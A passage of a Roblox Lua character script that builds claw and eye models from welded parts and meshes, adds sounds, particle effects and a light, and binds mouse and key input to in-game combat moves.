2509 | fp.Size=size | |
2510 | fp.Position=Character.Torso.Position | |
2511 | nooutline(fp) | |
2512 | fp.Material=material | |
2513 | fp:BreakJoints() | |
2514 | return fp | |
2515 | end | |
2516 | ||
2517 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2518 | local mesh=it(Mesh) | |
2519 | mesh.Parent=part | |
2520 | if Mesh=="SpecialMesh" then | |
2521 | mesh.MeshType=meshtype | |
2522 | mesh.MeshId=meshid | |
2523 | end | |
2524 | mesh.Offset=offset | |
2525 | mesh.Scale=scale | |
2526 | return mesh | |
2527 | end | |
2528 | ||
2529 | function weld(parent,part0,part1,c0,c1) | |
2530 | local weld=it("Weld") | |
2531 | weld.Parent=parent | |
2532 | weld.Part0=part0 | |
2533 | weld.Part1=part1 | |
2534 | weld.C0=c0 | |
2535 | weld.C1=c1 | |
2536 | return weld | |
2537 | end | |
2538 | ||
2539 | local modelzorz=Instance.new("Model") | |
2540 | modelzorz.Parent=Character | |
2541 | modelzorz.Name="Claw1" | |
2542 | ||
2543 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2544 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2545 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2546 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2547 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2548 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2549 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2550 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2551 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2552 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2553 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2554 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2555 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2556 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2557 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2558 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2559 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2560 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2561 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2562 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2563 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2564 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2565 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2566 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2567 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2568 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2569 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2570 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2571 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2572 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2573 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2574 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2575 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2576 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2577 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2578 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2579 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2580 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2581 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2582 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2583 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2584 | ||
2585 | local modelzorz2=Instance.new("Model") | |
2586 | modelzorz2.Parent=Character | |
2587 | modelzorz2.Name="Claw2" | |
2588 | ||
2589 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2590 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2591 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2592 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2593 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2594 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2595 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2596 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2597 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2598 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2599 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2600 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2601 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2602 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2603 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2604 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2605 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2606 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2607 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2608 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2609 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2610 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2611 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2612 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2613 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2614 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2615 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2616 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2617 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2618 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2619 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2620 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2621 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2622 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2623 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2624 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2625 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2626 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2627 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2628 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2629 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2630 | ||
2631 | local modelzorz3=Instance.new("Model") | |
2632 | modelzorz3.Parent=Character | |
2633 | modelzorz3.Name="Eye" | |
2634 | ||
2635 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2636 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
2637 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
2638 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2639 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2640 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
2641 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2642 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2643 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
2644 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2645 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2646 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
2647 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2648 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2649 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
2650 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2651 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
2652 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2653 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2654 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2655 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
2656 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2657 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
2658 | local moosick = it("Sound",Character) | |
2659 | moosick.SoundId = "rbxassetid://613035749" | |
2660 | --142653441, 175067863 | |
2661 | moosick.Looped = true | |
2662 | moosick.Pitch = 0.9775 | |
2663 | moosick.Volume = 1.5 | |
2664 | moosick:Play() | |
2665 | ||
2666 | anim = Character:findFirstChild("Animate") | |
2667 | if anim then | |
2668 | anim:Destroy() | |
2669 | end | |
2670 | ||
2671 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
2672 | particleemitter.VelocitySpread = 180 | |
2673 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2674 | particleemitter.Speed = NumberRange.new(2) | |
2675 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2676 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2677 | particleemitter.Rate = 100 | |
2678 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2679 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2680 | particleemitter.LightEmission = 0.8 | |
2681 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2682 | ||
2683 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
2684 | particleemitter.VelocitySpread = 180 | |
2685 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2686 | particleemitter.Speed = NumberRange.new(2) | |
2687 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2688 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2689 | particleemitter.Rate = 100 | |
2690 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2691 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2692 | particleemitter.LightEmission = 0.8 | |
2693 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2694 | ||
2695 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
2696 | particleemitter.VelocitySpread = 180 | |
2697 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2698 | particleemitter.Speed = NumberRange.new(2) | |
2699 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
2700 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2701 | particleemitter.Rate = 100 | |
2702 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2703 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2704 | particleemitter.LightEmission = 0.8 | |
2705 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2706 | ||
2707 | local light = Instance.new("PointLight", Character.Torso) | |
2708 | light.Color = Color3.new(255,255,255) | |
2709 | light.Brightness = 5 | |
2710 | light.Range = 15 | |
2711 | ||
2712 | particleemitter.Enabled = true | |
2713 | ||
2714 | local Footsteps = it("Sound",Character.Torso) | |
2715 | Footsteps.SoundId = "rbxassetid://142665235" | |
2716 | Footsteps.Looped = true | |
2717 | Footsteps.Pitch = 0.8 | |
2718 | Footsteps.Volume = 0.3 | |
2719 | ||
2720 | local Footsteps2 = it("Sound",Character.Torso) | |
2721 | Footsteps2.SoundId = "rbxassetid://142665235" | |
2722 | Footsteps2.Looped = true | |
2723 | Footsteps2.Pitch = 1 | |
2724 | Footsteps2.Volume = 0.4 | |
2725 | ||
2726 | local cam = game.Workspace.CurrentCamera | |
2727 | ||
2728 | --cam.CameraSubject = Character | |
2729 | ||
2730 | for i,v in pairs(Head:children()) do | |
2731 | if v:IsA("Sound") then | |
2732 | v:Destroy() | |
2733 | end | |
2734 | end | |
2735 | ||
2736 | mouse.Button1Down:connect(function() | |
2737 | if attack==false and attacktype==1 then | |
2738 | attacktype=2 | |
2739 | attackone() | |
2740 | elseif attack==false and attacktype==2 then | |
2741 | attacktype=3 | |
2742 | attacktwo() | |
2743 | elseif attack==false and attacktype==3 then | |
2744 | attacktype=4 | |
2745 | attackthree() | |
2746 | elseif attack==false and attacktype==4 then | |
2747 | attacktype=1 | |
2748 | attackfour() | |
2749 | end | |
2750 | end) | |
2751 | ||
2752 | mouse.KeyDown:connect(function(k) | |
2753 | k=k:lower() | |
2754 | if k=='e' then | |
2755 | if attack==false and mana>=20 then | |
2756 | Push() | |
